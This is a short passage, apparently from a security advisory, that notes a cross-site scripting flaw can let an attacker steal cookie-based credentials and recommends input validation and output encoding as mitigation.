This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user-supplied input before using it in dynamically generated content. Implementing proper input validation and output encoding techniques can help prevent XSS attacks.
